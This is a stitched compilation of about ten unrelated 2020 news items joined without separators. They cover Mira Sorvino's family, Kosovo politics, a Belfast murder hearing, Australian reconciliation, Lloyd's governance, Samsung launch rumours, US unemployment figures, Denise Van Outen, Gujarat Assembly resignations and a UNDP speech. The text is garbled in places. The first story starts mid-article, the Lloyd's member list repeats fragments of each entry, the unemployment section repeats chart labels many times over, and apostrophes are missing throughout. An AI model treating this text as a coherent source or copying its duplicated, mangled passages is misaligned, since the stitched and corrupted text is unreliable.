Lucia matched her parents also in a black wet suit, with bright pink sleeves as she splashed around with her dad.

Mira and Christopher met in 2003 and married the following year both in a courthouse ceremony and a hilltop wedding in Capri, Italy.

Decades together: Mira and Christopher met in 2003 and married in 2004, along with Lucia they also share daughter Mattea, 15, and sons Johnny, 14, and Holden, 10 (pictured in July 2019)

Along with Lucia they also share daughter Mattea, 15, and sons Johnny, 14, and Holden, 10.

Mira most recently was one of the many stars in Ryan Murphy and Ian Brennancreated miniseries, Hollywood, on Netflix.

She starred alongside Laura Herrier, Maude Apatow, Darren Criss and Patti LuPone.

The show recently was released on the streaming platform on May 1 and received mixed-reviews.

Next binge watch: Mira most recently was one of the many stars in Ryan Murphy and Ian Brennancreated miniseries, Hollywood, on Netflix; seen in February

Mira and Lisa Kudrow in Romy And Michele's High School Reunion

'It's a fascinating blend of fact (or least stories based on factual characters) and fiction, and the performances from the cast of rising stars and reliable veterans are dazzling,' a critic for the Chicago Sun Times wrote.

'But like many a motion picture, Hollywood can't overcome script problems that surface about midway through the story.

In addition to promoting the upcoming project, the Time's Up advocate stays busy with her activism, which included speaking at a press conference to advocate for stronger sexual harassment and rape reporting laws in June.

At the time, Sorvino, who was among those to accuse Harvey Weinstein of sexual harassment, revealed is a survivor of date rape.

'This whole #MeToo thing has been wonderful, but it's been highly traumatizing for me on a personal level,' she told reporters.

'I have had to revisit my past and my demons in a way that I had really not fully explored.'
PRISTINA -- Kosovo's former Prime Minister Albin Kurti says his leftist-nationalist Vetevendosje (Self-Determination) party will continue to press for new general elections, after parliament approved this week a new government by a razor-thin majority following months of political turmoil.

We will continue our fight inside and outside of parliament, Kurti said in an interview with RFE/RL on June 5, warning that street protests against the weak government led by Prime Minister Avdullah Hoti are inevitable.

Vetevendosje has been calling for new parliamentary elections since the coalition government Kurti was leading collapsed in March, losing a no-confidence vote initiated by the center-right Democratic League of Kosovo (LDK) party.

However, the Constitutional Court ruled that a new government could be formed without a vote, giving Hoti of the LDK a path to the premiership.

In the interview, Kurti reiterated his claim that Hotis government is unlawful because it came to power based on an unconstitutional court verdict.

Because Vetevendosje is the main and most powerful political force in Kosovo after it came in first place in elections in October 2019, ahead of the LDK, Hotis government will be short-lived, he predicted.

Hotis fragile government is the result of a coalition between the LDK and two former opposition groups and parties representing ethnic minorities.

The new prime minister, an economics professor and former finance minister, has vowed to move Kosovo forward on stalled normalization talks with neighboring Serbia.

But Kurti claimed the new government does not have the capacity to confront Serbia and does not have the legitimacy to dialogue with it.

Any agreement between Pristina and Belgrade would be invalid, he added.

Kosovo, a former province of Serbia, declared independence in 2008 in a move rejected by Belgrade. Both Serbia and Kosovo are under pressure from the United States and the EU to strike a comprehensive agreement.
Irish gangland boss Robbie Lawlor was murdered at an appointment he had just set up in a supermarket car park, a court heard today.

Detectives claimed the underworld figure met a suspect to exchange cash and arranged a follow-up call at a house in north Belfast.

Lawlor, 36, was shot dead the next day when he went to the city's Ardyone area.

Details emerged as a man currently on police bail over the killing on April 4 failed in a bid to have his curfew removed.

The suspect, also aged 36, has not been charged with any offences connected to the murder.

But a detective inspector told Belfast Magistrates' Court he is believed to have met Lawlor at a Tesco car park in Crumlin, Co Antrim 24 hours before the killing.

Cash was exchanged and arrangements made for the murder victim to call at a house on Etna Drive the following day.

"Robert Lawlor did attend that appointment, and when he arrived he was met by a gunman who exited (the address) and shot him dead in broad daylight," the detective said.

He was hit several times and died at the scene.

Stray bullets also struck a car parked outside the property, narrowly missing one of Lawlor's associates.

According to police it was sheer good luck that others in the street were not hurt or killed.

A Volkswagen Scirocco, thought to have been used as a getaway car, was found burnt out in a nearby street minutes later.

Originally from Dublin, Lawlor was widely reported to have been heavily involved in a feud between rival Drogheda-based factions.

He had been linked to the abduction and murder of 17-year-old Keane Mulready-Woods in January.

Police stressed the scale of the probe into Lawlor's killing.

"This murder is directly linked to a feud between several organised crime gangs originating out of the Republic of Ireland," the detective said.

"It's a comprehensive and complex investigation, with numerous links to organised crime gangs operating internationally, as well as mainland UK and throughout Ireland."

The suspect seeking to have his curfew lifted was arrested three days after Lawlor was shot dead.

District Judge George Conner heard officers detained him during a search operation at his mother's home.

He was subsequently released on police bail to live at an undisclosed location while the murder investigation continues.

Defence barrister Bobbie-Leigh Herdman claimed the curfew was "disproportionate, unnecessary and punitive".

The killing and the alleged meeting between her client and Lawlor a day earlier both occurred during daytime, she stressed.

But the detective responded: "The police case is that a significant amount of planning and preparation for the murder was carried out during the hours of darkness.

"That's why we would ask that the curfew is kept in place."

Ruling that the bail term must remain in place, Mr Conner said it was not an unreasonable condition.
But the life expectancy gap between white and black in the US has narrowed from six years in 2005 to 4.4 years in 2015, according to the Centres for Disease Control; a period which coincided with Barack Obamas presidency. In Australia the gap remains where it was a decade earlier, even though we had a Labor government committed to both symbolic and practical reconciliation in that time. As the latest Closing the Gap report said: Over the period 2006 to 2018, there was an improvement of almost 10 per cent in Indigenous agestandardised mortality rates. However, nonIndigenous mortality rates improved at a similar rate, so the gap has not narrowed. Scott Morrison was on firm ground on Thursday this week when he told 2GBs Ray Hadley that we shouldnt be importing American narratives to Australia. I'm not saying we don't have issues in this space that we need to deal with, the Prime Minister said. But the thing is, we are dealing with it and, you know, we don't need to draw equivalence here. However, the Prime Minister runs the risk of overcompensating in favour of the status quo; a problem that has plagued conservative leaders since John Howard with their insistence on practical reconciliation only.

Last Friday, Morrison delivered an unusual response to a question on the destruction of 46,000-year-old rock caves in the Pilbara by mining behemoth Rio Tinto. I haven't got a brief on that particular project, or the circumstances surrounding it. So it wouldn't be wise for me to go venturing opinions on things that I have not received detailed briefings on the detail. Loading Strange, because the story was already two days old at that point. If Rio had blown up a non-Indigenous artifact by mistake, say a monument to an early explorer or settler, the Prime Minister would have hopped onto the debate faster than you could say "Captain Cook". Conservative politicians had been quick to call for the sacking of Victorias Deputy Chief Health Officer Annaliese van Diemen over a single, historically dubious tweet linking Cooks landing in 1770 to COVID-19. Morrison himself thought the tweet was very disappointing although he didnt join the pile-on of MPs who wanted her dismissed.

This is not meant as a criticism but simply to observe that Morrison wasnt moved to find out what happened in the Pilbara. The episode didnt draw his curiosity, or raise his ire, in the same way as the Cook tweet. The backlash against Rio grew louder through this week, and the company was forced to apologise. Still Morrison felt no urge to volunteer a statement. On the other hand, it is to his credit that he didnt bluff his way around the question with platitudes for Indigenous Australians. But it was revealing that he had nothing of substance to say in either direction. It was one more dot ball in his long inning in public life of avoiding questions he doesnt want to answer. Yet Morrison may surprise Australians on reconciliation. He has quietly left the door open to a referendum to enshrine a Voice to Parliament in the spirit of 2017 Uluru Statement from the Heart. The idea retains broad public appeal, even though the previous prime minister Malcolm Turnbull had dismissed it, without evidence, as a third chamber. Every prime minister unconsciously seeks to one-up a predecessor on their own side on reconciliation. For Paul Keating, the native title legislation of 1993 proved he had a bigger bleeding heart than Bob Hawke, who had reneged on his promise for a treaty a decade earlier. Similarly, Tony Abbott wanted to demonstrate more empathy than Howard, although he undermined his own cause with savage cuts to Indigenous programs.

Loading The temptation is there for Morrison to show up Turnbull, the most socially progressive Liberal since Malcolm Fraser. Uluru is a political fight Morrison doesnt need to have. The coronavirus has offered him the perfect excuse to ditch the Uluru Statement. But the pandemic also taught him the value of thinking beyond party lines. He sought the advice of health experts to flatten the infection curve. He listened to economic experts, and even the unions to protect jobs. It should not be beyond the realm of possibility that he listens to Indigenous people on constitutional reform. This is not to discount the police harassment, the burden of jail time for relatively trivial offences and the deaths in custody  all the practical issues that both sides have tried, and failed to resolve over many decades. But the problem hiding in plain sight is one of belonging. This is a spiritual crisis. The first peoples had their country taken from them. No amount of police, or prison, or welfare reform can address that loss.
Lloyds announced it has merged the Council of Lloyds with the Franchise Board, creating one body to govern the marketplace.

The decision to merge the two entities was first announced in November 2019.

The combination of board and council will allow robust and accountable governance with the ability to make swift decisions when necessary, said Lloyds Chairman Bruce Carnegie-Brown. The current COVID-19 pandemic serves as a primary example of our need to be as efficient as possible in our decision-making.

In November, Carnegie-Brown said the need for efficient governance structures coincides with the markets Future at Lloyds modenization project. To build a new market that is innovative and responsive to the needs of its customers, Lloyds needs to make its governance structures as efficient as possible, he said at the time.

Following an election process in April this year, Lloyds confirmed on June 1, 2020, the roster of members of the new council:

Bruce Carnegie-Brown , Lloyds chairman and nominated member of the Council of Lloyds. (Lloyds defines a nominated member as a council member who is not an external member or a working member and whose appointment has been approved by the Bank of England).

, Lloyds chairman and nominated member of the Council of Lloyds. (Lloyds defines a nominated member as a council member who is not an external member or a working member and whose appointment has been approved by the Bank of England). Andy Haste , senior independent deputy chairman and nominated council member. Haste is also chairman of Esure Group.

, senior independent deputy chairman and nominated council member. Haste is also chairman of Esure Group. Angela Crawford-Ingle , audit committee chair and nominated member. She also is chair of the audit committee at River & Mercantile Group.

, audit committee chair and nominated member. She also is chair of the audit committee at River & Mercantile Group. Fiona Luck , nominated council member. She is also a member of the Lloyds Nominations & Governance Committee, the Remuneration Committee, the Risk Committee and is chair of the Lloyds Culture Advisory Group.

, nominated council member. She is also a member of the Lloyds Nominations & Governance Committee, the Remuneration Committee, the Risk Committee and is chair of the Lloyds Culture Advisory Group. Neil Maidment , nominated council member and chair of the Lloyds Risk Committee (subject to regulatory approval). A former executive at Beazley, Maidment is also a member of the Lloyds Audit Committee, the Technology & Transformation Committee and Underwriting Advisory Panel.

, nominated council member and chair of the Lloyds Risk Committee (subject to regulatory approval). A former executive at Beazley, Maidment is also a member of the Lloyds Audit Committee, the Technology & Transformation Committee and Underwriting Advisory Panel. John Sununu , nominated council member and a member of the Renumeration Committee. Previously, Sununu represented New Hampshire in the United States Senate from 2003-2009 and served in the U.S. House of Representatives from 1997-2003.

, nominated council member and a member of the Renumeration Committee. Previously, Sununu represented New Hampshire in the United States Senate from 2003-2009 and served in the U.S. House of Representatives from 1997-2003. John Neal , Lloyds CEO and nominated council member.

, Lloyds CEO and nominated council member. Burkhard Keese , Lloyds CFO and nominated council member.

, Lloyds CFO and nominated council member. Andrew Brooks , elected council member. He also is a member of the Risk Committee and the Underwriting Advisory Panel. He is chief executive officer of Ascot Underwriting Ltd. (Elected council members are drawn from working members of the Lloyds market who work for either managing agents or brokers).

, elected council member. He also is a member of the Risk Committee and the Underwriting Advisory Panel. He is chief executive officer of Ascot Underwriting Ltd. (Elected council members are drawn from working members of the Lloyds market who work for either managing agents or brokers). Vicky Carter , elected council member. Carter is also a member of the Lloyds Nominations & Governance Committee and the Risk Committee. She is vice chairman of Global Strategic Advisory for Guy Carpenter.

, elected council member. Carter is also a member of the Lloyds Nominations & Governance Committee and the Risk Committee. She is vice chairman of Global Strategic Advisory for Guy Carpenter. Dominic Christian , an elected council member and deputy chairman of the Council of Lloyds. He is executive chairman of Aon Benfield International and chief executive officer of Aon UK Ltd.

, an elected council member and deputy chairman of the Council of Lloyds. He is executive chairman of Aon Benfield International and chief executive officer of Aon UK Ltd. AXIS Corporate Capital UK Ltd. , represented by Albert Benchimol , as a corporate external member of the council. He is a member of the Lloyds Audit Committee and chair of the Investment Committee. Benchimol is president and CEO of AXIS Capital Holdings Ltd.

, represented by , as a corporate external member of the council. He is a member of the Lloyds Audit Committee and chair of the Investment Committee. Benchimol is president and CEO of AXIS Capital Holdings Ltd. Flectat Ltd ., represented by Michael Watson , as a corporate external member. Watson is a member of the Lloyds Remuneration Committee and the Audit Committee. He is executive chairman of Canopius AG.

., represented by , as a corporate external member. Watson is a member of the Lloyds Remuneration Committee and the Audit Committee. He is executive chairman of Canopius AG. Nameco (No.1249) Ltd., represented by Jeffery Barratt, an individual external member of the council. He is a member of the Nominations & Governance Committee and the Audit Committee. Barratt is a lawyer and has been a nember of Lloyds since 1987. He is a director of the Association of Lloyds Members.

Due to COVID-19 lockdown restrictions, Lloyds said it was unable in April to hold a full contested elections process as originally planned.

Instead, existing members of the council were rolled over and Karen Green and Dominick Hoare were retained as special advisers to the council until full elections can be held before the end of 2020.

Green is a member of the Remuneration Committee, the Risk Committee and the Investment Committee. Green is a non-executive director of Asta Managing Agency Ltd. In addition to his position as special adviser to the council, Hoare is also a member of the Underwriting Advisory Panel. He is group chief underwriting officer of Munich Re Syndicate Ltd. and an executive director of both Munich Re Speciality Group Ltd. and Munich Re Capital Ltd.

In the development of the new council, Carnegie-Brown acknowledged the support of the Lloyds Market Association (LMA), the Association of Lloyds Members (ALM), the High Premium Group (HPG) and Lloyds Members Agents.

Source: Lloyds

Topics Excess Surplus Lloyd's
According to a new report from South Korea, the Samsung Galaxy Note 20 series and Fold 2 may launch on August 5. This is the alleged date for Samsungs next Galaxy Unpacked event, according to dongA.

The information does come from South Korea, and the source claims the information comes from a member of Samsung Electronics. Take this information with a grain of salt, though, of course.

This will be an online-only event, it seems. That was to be expected, as a previous rumor suggested it will happen. The current global health crisis basically forced Samsung into it, as a ton of people would want to attend otherwise.

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August 5 is not set in stone, but it seems like thats when the Galaxy Note 20 & Fold 2 will launch

Now, do note that this is just the most probable date for the launch. The source claims that nothing has been set in stone yet, but that August 5 is the favorite, for now. It seems like Samsung will opt for this date.

Samsung has a tendency to host its Galaxy Note press conferences in New York. This time around, that wont be possible, not only because of the pandemic, but the anti-racism protests as well.

Truth be said, thats the issue at the moment, and things may change somewhat until August, but Samsung probably doesnt want to risk anything. Hosting an online-only event seems to be the right choice.

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Now, Samsung usually releases only Galaxy Note-branded smartphones during these August flagships press conferences. This time around, though, that may change.

The Samsung Galaxy Fold 2 is rumored to launch alongside the Galaxy Note 20 series on August 5. The Galaxy Z Flip arrived with the Galaxy S20 series in February, so this makes sense.

The Galaxy Fold 2 will probably include the S Pen as well

The Fold 2 is rumored to include the S Pen stylus, just like the Note devices, so Samsung could talk about the software of all three phones during one press conference.

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The Fold 2 will, allegedly, be more affordable than the original model, and yet offer a number of improvements. The device is rumored to ship with UTG display, and considerably thinner bezels, to begin with.

It will probably retain the same form factor, as it will fold inwards, horizontally. It will also be made out of metal and glass, just like its predecessor, and the Galaxy Z Flip.

The Galaxy Fold 2 is expected to offer high-end specifications, so Samsung is essentially expected to announce three high-end phones on August 5.
May 2019 May 2020 Employed Employed Expanded measure of unemployment Unemployed Unemployed Not in the labor force Not in the labor force May 2019 May 2020 Employed Employed Expanded measure of unemployment Unemployed Unemployed Not in the labor force Not in the labor force One square = 100,000 adults  Source: New York Times analysis of Bureau of Labor Statistics data, based on work by Jason Faberman and Aastha Rajan at the Federal Reserve Bank of Chicago.

The Department of Labor announced Friday that with a limited resumption of economic activity, 13.3 percent of Americans were unemployed in May. Though still high by historical standards, thats down from 14.7 percent in April, and a pleasant surprise to many economists, who were expecting a figure closer to 20 percent.

But this statistic doesnt tell the whole unemployment story. That is true even in ordinary times, and more so in view of the pandemics effect on the labor market, which has made this figure particularly incomplete as a measure of economic hardship.

The unemployment rate itself is significantly going to understate the drop in economic activity, said Stephanie Aaronson, the director of economic studies at the Brookings Institution. It also is underestimating the amount of distress that Americans are facing right now because it understates how many people have lost jobs.

Heres what the unemployment rate would look like if it were expanded to include more workers who have been hurt during the pandemic.

EMPLOYED 13.0% UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 13.0% UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 13.0% UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 13.0% UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED On temporary layoff 13.0% UNEMPLOYED Other unemployed NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED On temporary layoff 13.0% UNEMPLOYED Other unemployed NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED On temporary layoff 13.0% UNEMPLOYED Other unemployed NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED On temporary layoff 13.0% UNEMPLOYED Other unemployed NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 13.0% UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 13.0% UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 13.0% UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 13.0% UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 13.0% UNEMPLOYED Marginally attached to the labor force NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 13.0% UNEMPLOYED Marginally attached to the labor force NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 13.0% UNEMPLOYED Marginally attached to the labor force NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 13.0% UNEMPLOYED Marginally attached to the labor force NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 14.2% EXPANDED UNEMPLOYED Marginally attached to the labor force NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 14.2% EXPANDED UNEMPLOYED Marginally attached to the labor force NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 14.2% EXPANDED UNEMPLOYED Marginally attached to the labor force NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 14.2% EXPANDED UNEMPLOYED Marginally attached to the labor force NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 17.9% EXPANDED UNEMPLOYED Not in labor force, want a job NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 17.9% EXPANDED UNEMPLOYED Not in labor force, want a job NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 17.9% EXPANDED UNEMPLOYED Not in labor force, want a job NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 17.9% EXPANDED UNEMPLOYED Not in labor force, want a job NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED Working part time for economic reasons 24.1% EXPANDED UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED Working part time for economic reasons 24.1% EXPANDED UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED Working part time for economic reasons 24.1% EXPANDED UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED Working part time for economic reasons 24.1% EXPANDED UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED Employed but absent from work and probably on layoff 27.0% EXPANDED UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED Employed but absent from work and probably on layoff 27.0% EXPANDED UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED Employed but absent from work and probably on layoff 27.0% EXPANDED UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED Employed but absent from work and probably on layoff 27.0% EXPANDED UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 27.0% EXPANDED UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 27.0% EXPANDED UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 27.0% EXPANDED UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults EMPLOYED 27.0% EXPANDED UNEMPLOYED NOT IN LABOR FORCE One square = 100,000 adults















The headline unemployment rate is calculated by taking the number of unemployed adults divided by the total number of people in the labor force, employed and unemployed. (The rate shown here is not seasonally adjusted, which is why its slightly different from the headline Labor Department number.) This rate includes 15 million workers who expect to be recalled back to their jobs, as well as those on permanent layoff, job leavers, new entrants and re-entrants to the labor force. But there are millions of people who are not working and want a job that this rate leaves out. To be officially counted as unemployed, workers who are not on temporary layoff must indicate that they have looked for work in the past four weeks. The Department of Labor releases an expanded unemployment rate called the U-6 that captures some of these workers, those considered marginally attached to the labor force because they have looked for a job in the past year. If we add those workers to our expanded unemployment rate, it increases to 14.2 percent. But the pandemic is causing many people not to look for work because of fears about getting sick or responsibilities like caring for children. If we include all those people who say they want a job, regardless of their job hunt status, the rate increases to 17.9 percent. The rate increases further if we include those who are working part time because their hours have been cut or they could not find full-time jobs (a group also included in the U-6 measure). Finally, the Labor Department said that 4.9 million workers who were counted as employed but absent from work for other reasons were most likely miscategorized because they were on temporary layoff. Some of those workers are still being paid, but their absence contributes to the drop in economic activity. Combining these groups results in a 27 percent expanded unemployment rate that more closely reflects the share of the labor force whose employment has been negatively affected by the pandemic.

These figures released Friday reflect the employment situation for May, specifically the week of May 10-16. A more recent data set released Thursday, initial claims for unemployment benefits, indicates that while job losses have slowed, layoffs continued last week even as businesses have begun to reopen.

But its hard to draw precise parallels between the two data sources, particularly because of the unique circumstances of the pandemic.

First of all, initial unemployment claims reflect only initial layoffs, not the net change in the number of people employed. Another unemployment insurance statistic, continuing claims, is a snapshot of the current number of people receiving benefits, but that data has a longer lag time and also does not reflect everyone who is unemployed.

Thats in part because not everyone who is unemployed applies for or is granted benefits. And some of those who do receive benefits would not necessarily be counted as unemployed, at least by the official measure.

For example, some workers who have had their hours significantly reduced but still remain employed are eligible for partial benefits. And many states waived the requirement that an unemployed person must actively look for work to receive benefits, which would technically put them outside the labor force and the official unemployment count.

To better understand the effects of the pandemic on workers, the Department of Labor added five new questions to its monthly household labor force survey in May. But the responses to the new questions have not yet been released.
She recently threw a lavish 21st birthday party for her step-child Leah, complete with a Chanel cake, a kitchen disco and extravagant decor.

And Denise Van Outen has credited lockdown for bringing her closer to her boyfriend Eddie Boxshall's daughter on Friday's Good Morning Britain.

The TOWIE voiceover artist, 46, was joined by her long-term partner, 45, as they spoke about enjoying rare quality time with their 'blended' families.

'It's lovely': Denise Van Outen has credited lockdown for bringing her closer to her boyfriend Eddie Boxshall's daughter Leah on Friday's Good Morning Britain

On celebrating her daughter's birthday during the global pandemic, Denise, who shares Betsy with her ex-husband Lee Mead, said: 'It turned out to be really lovely.

'Betsy turned 10, she was going to have a sleepover and lots of friends over before lockdown so she was a bit disappointed, but we made it nice for her.

'She's still been able to see her dad Lee [Mead], so she spent half the day with me, and then met Lee because he's been isolating as well.'

The couple went on to discuss Leah's celebrations, revealing the party-of-three let their hair down until 3am.

Milestones: The TOWIE voiceover artist, 46, was joined by her long-term partner, 45, as they spoke about enjoying rare quality time with their 'blended' families (pictured with Leah in May)

Family first: On celebrating her daughter's birthday during the global pandemic, Denise, who shares Betsy with her ex-husband Lee Mead, said: 'It turned out to be really lovely'

The presenter explained: 'Leah, Eddie's daughter, turned 21. Again, disappointed not to have a party but she came to lockdown with us - he DJ'ed in the kitchen.'

On their family dynamic since the UK entered a shutdown state, the Essex native, who's been dating Eddie for six years, said: 'Leah stays with us on the odd occasion...

'But I've really had a chance to really get to know her because we've spent a lot of time together. We really feel like we've properly blended now.'

'We made it nice for her': The TV star admitted Betsy was a bit disappointed as she was due to spend her birthday with her pals (pictured in December 2019)

'He DJ'ed in the kitchen!' The couple went on to discuss Leah's celebrations, revealing the party-of-three let their hair down until 3am

Elsewhere in the interview, commodities trader Eddie revealed he took a sabbatical from work.

'I've been in the City for 30 years', he said. 'We decided I'd take a year out and see if I could spread my wings into something else and I've just been doing jobs around the house, I'm going to see if I can find a career soon.'

During the coronavirus crisis, Denise has been treated to help from Eddie as he dyes her roots frequently.

'I wanted to see if I could spread my wings': Elsewhere in the interview, commodities trader Eddie revealed he took a sabbatical from work

'We should open a salon!' During the coronavirus crisis, Denise has been treated to help from Eddie as he dyes her roots frequently

The media personality joked about the prospect of opening a hair salon, quippinh: 'Eddie's done my roots twice now in lockdown and he's been brilliant. I said to him, "We should open a salon".

'We live in Essex, it's the best place for a social distanced hair salon with really long scissors!'

On starring on Celebrity Gogglebox again, the blonde beauty said: 'It's an extension of our lockdown because it's basically what we've been doing for the past almost 12 weeks anyway. We haven't moved from our sofa.'
In another setback to the Congress party in the state, two MLAs resigned from the Gujarat Assembly on Thursday ahead of the crucial Rajya Sabha polls on June 19.

The two legislators, Akshay Patel and Jitu Chaudhary, tendered their resignations to the Speaker Rajendra Trivedi on Wednesday evening which were accepted on Thursday.

"I have accepted their resignations. They now cease to be legislators," Trivedi said.

With these resignations, a total of seven Congress MLAs have resigned from the Gujarat Assembly since March, leaving the grand old party with 66 MLAs, in a house which now has a total strength of 173 members with nine vacant seats.

Elections to the four Rajya Sabha seats are scheduled to be held on June 19. Three of these seats are currently held by the Bharatiya Janata Party (BJP) while Congress holds one.

As things stand, a candidate would need at least 36 votes under the single transferable vote (STV) system in order to get elected to the upper house of the parliament.

The BJP has 103 MLAs in the Assembly and has nominated three candidates  Abhay Bhardwaj, Ramilaben Bara, and Narhari Amin  for the upcoming polls. Given the numbers, the saffron party is certain to win two seats but would need the help of others to walk away with the third.

On the other hand, Congress has fielded Shaktisinh Gohil and Bharatsinh Solanki in hopes of securing two seats. However, after the recent spate of resignations, it may find it extremely difficult to cross the threshold with the numbers that it has been left with.

Other members include two MLAs of the Bharatiya Tribal Party (BTP), one Nationalist Congress Party (NCP) MLA, and an Independent in Jignesh Mewani. The votes of these members would also be crucial when the polling is held.

The elections to the four seats were earlier scheduled to be held in March this year but were postponed due to the COVID-19 pandemic.
As prepared for delivery:

Distinguished members of the Peacebuilding Commission,

Excellencies,

Thank you very much for the opportunity to appear virtually before you today.

On behalf of UNDP, allow me to commend the leadership of the Peacebuilding Commission  in particular the chairs from Canada, Japan and Colombia  for organizing this meeting.

We welcome the opportunity to amplify our recent and recurring engagement with the PBC in our role as the UNs development voice in building sustainable pathways for peacebuilding and tackling violence, conflict and fragility as the largest PBF implementing partner on the ground. And we thank PBSO for the excellent collaboration in facilitating our engagement with the PBC.

You heard from our Administrator two weeks ago on the importance of UN system-wide engagement and strengthening institutions for sustaining peace and peacebuilding in a new post-COVID-19 world.

Today, I will go a bit further to reflect on how we can strengthen the peacebuilding thumbprint in the UN Socioeconomic Framework so that we can help countries recover from this crisis and build back better with more resilience , and security, to future shocks and crisis.

The UN Framework for the Immediate Socioeconomic Response to COVID-19 has five pillars:

Health first Protecting People Economic Response and Recovery Macroeconomic Response and Multilateral Collaboration Social Cohesion and Community Resilience

Trends and patterns emerging from socioeconomic impact assessments show severe shrinking of fiscal space, policy space, political and governance space, human rights and civic space, erosion of social cohesion; thus pushing SDGs further off-track.

In some countries, economic growth is contracting in double digits; we are seeing sharp increases in prices, decrease in incomes and remittances, and significant job losses, with massive numbers of people at risk of slipping into poverty.

The Human Development Index, for the first time since its inception in 1990, will likely fall. A reduction that would most likely take us back six years .

Countries impacted by fragility, violence and conflict are facing reductions in peacebuilding spaces that will be difficult to reclaim after the end of the crisis.

Overall, there is a serious contraction in critical development and peace gains with the most vulnerable at the greatest risk of being disproportionately impacted by this pandemic.

The impact of COVID-19 is likely to be more severe in fragile and conflict-affected countries, where pre-existing vulnerabilities in health and governance systems, as well as in inter-communal relations, are amplified, thus exacerbating heightened risks to fragility, conflict and violence across communities and borders.

How we collectively respond to the socio-economic impacts of the crisis will have significant consequences on conflict and peace all around the world.

Recognizing the urgency of the crisis, on 23 March, the Secretary-General called for a global ceasefire, urging warring parties to silence their guns to help create conditions for the delivery of aid and to open up space for diplomacy. The response to the SGs appeal has been mostly positive. However, initial gestures of support have not translated into concrete change on the ground. The Security Councils inability to agree on a resolution in support of a global ceasefire has been disappointing.

We need Member States with leverage on conflict parties to use their influence to end these wars. This is especially urgent because COVID-19 has increased risks of violent conflicts, exacerbating existing grievances and inequalities, which were main themes of the protests around the world in 2019.

The social contract between the state and the population is seeing further erosion. In several countries we are already seeing public frustration with the government responses. We also see systematically weak judiciary systems; limiting the protection of human rights and access to justice for many. Potential politicization of governments response could increase political animosity. Weak and uneven government responses could further undermine the social compact and trust.

Despite these challenges, the ceasefire appeal has refocused attention on the urgency to end fighting  and the spur stalled peace processes - in order to face a new global common threat.

A few countries are grappling with preparing for elections and the planning for the possibility of delayed or altered elections (with risks of civil unrest and political strife). COVID-19 restrictions could be instrumentalized for electoral purposes and will need to be carefully monitored.

Some governments are restricting freedom of speech and of assembly beyond what is medically necessary, sometimes targeting the opposition. Hate speech and fearmongering against vulnerable populations has proliferated.

Despite challenges of social distancing, local peacebuilders are finding innovative ways to boost opportunities for mutual aid and community-building initiatives using digital solutions to bring communities closer together in sharing life-saving public information on how to survive the pandemic.

Communities led by women and youth are stepping up and forward to strengthen social cohesion between and within local communities as they battle the health pandemic together, building pathways for peace dividends to bloom.

The UN Socioeconomic framework will need to triangulate with existing peace and reconciliation initiatives ongoing in conflict-affected contexts with a strong conflict sensitivity and risk adaptive lens.

Through strong interagency coordination, UNCTs support to countries responses so far have oriented mainly on the immediate crisis response, with a special focus on enhancing institutions, addressing structural deficiencies, supporting most vulnerable people and places; and addressing the harrowing problem of data gaps.

While responding to the pandemic, a few countries with the support of UNCTs (and the UN at large), are already reflecting on the path to recovery. For countries impacted by fragility and violent conflict, our response must be both institutions-based and people-centered. Peacebuilding must be at the heart of a sustainable recovery that (re)builds trust and social cohesion. To bring the dependency cycle to an end , our response must focus on building resilience, institutional capacity and disaster risk reduction while ensuring we remain highly attuned to the conflict drivers and risks as countries recover.

All this will require a robust conflict analysis as part of the socioeconomic recovery assessments.

UNDP is currently reviewing the submissions of 61 countries undertaking socioeconomic impact assessments to ensure that countries are adequately sensitive to the social cohesion and peacebuilding dimensions of COVID-19, including not just the challenges but also the opportunities to secure peace dividends. This is especially relevant for countries impacted by fragility, violence and conflict, or whose transition or peace processes are stalled. Where the peacebuilding lens is weak, UNDP welcomes the opportunity to work with DCO and PBSO to support UNCTs at country/regional levels to strengthen the peacebuilding thumbprint in recovery planning.

Indeed, as the largest recipient and implementer of PBF interventions in nearly to 40 countries, UNDP welcomes the PBFs proactive support to UN Country Teams in Guatemala, Cote dIvoire and Mali to adjust existing projects to address peacebuilding and prevention dimensions of the pandemic.

UNDP would welcome the opportunity to work together with PBSO to help all UNCTs further calibrate existing PBF-funded programming with central funds such as the CERF and the UN COVID-19 Fund to maximize the potential impact on the ground.

